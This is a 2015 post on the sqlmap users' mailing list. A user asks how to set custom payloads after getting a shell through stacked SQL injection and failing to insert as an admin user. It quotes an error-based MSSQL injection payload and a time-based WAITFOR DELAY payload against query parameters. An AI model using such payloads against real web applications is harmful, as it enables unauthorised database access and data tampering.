Re: [sqlmap-users] Change Payload ,Insert problem
Brought to you by:
inquisb
From: a d. <deh...@gm...> - 2015-02-05 16:01:15
|
I mean how may i have custom payload : Payload: req=6&senderid=1' AND 9622=CONVERT(INT,(SELECT CHAR(113)+CHAR(101)+CHAR(111)+CHAR(99)+CHAR(113)+(SELECT (CASE WHEN (9622=9622) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(102)+CHAR(100)+CHAR(113))) AND 'PkmV'='PkmV On Thu, Feb 5, 2015 at 4:42 PM, a dehqan <deh...@gm...> wrote: > Hi > > sqlmap gave me shell with injection type of stack queries ,but > Payload is like this : > > id=6&rid=1'; WAITFOR DELAY '0:0:5'-- > > When i want insert with admin user sqlmap returns NULL and fails , > Only says this before trying : > > [WARNING] time-based comparison requires larger statistical model, please > wait.............................. > > Maybe i should change Payload , with what switch i can change payload ? > > > Regards > |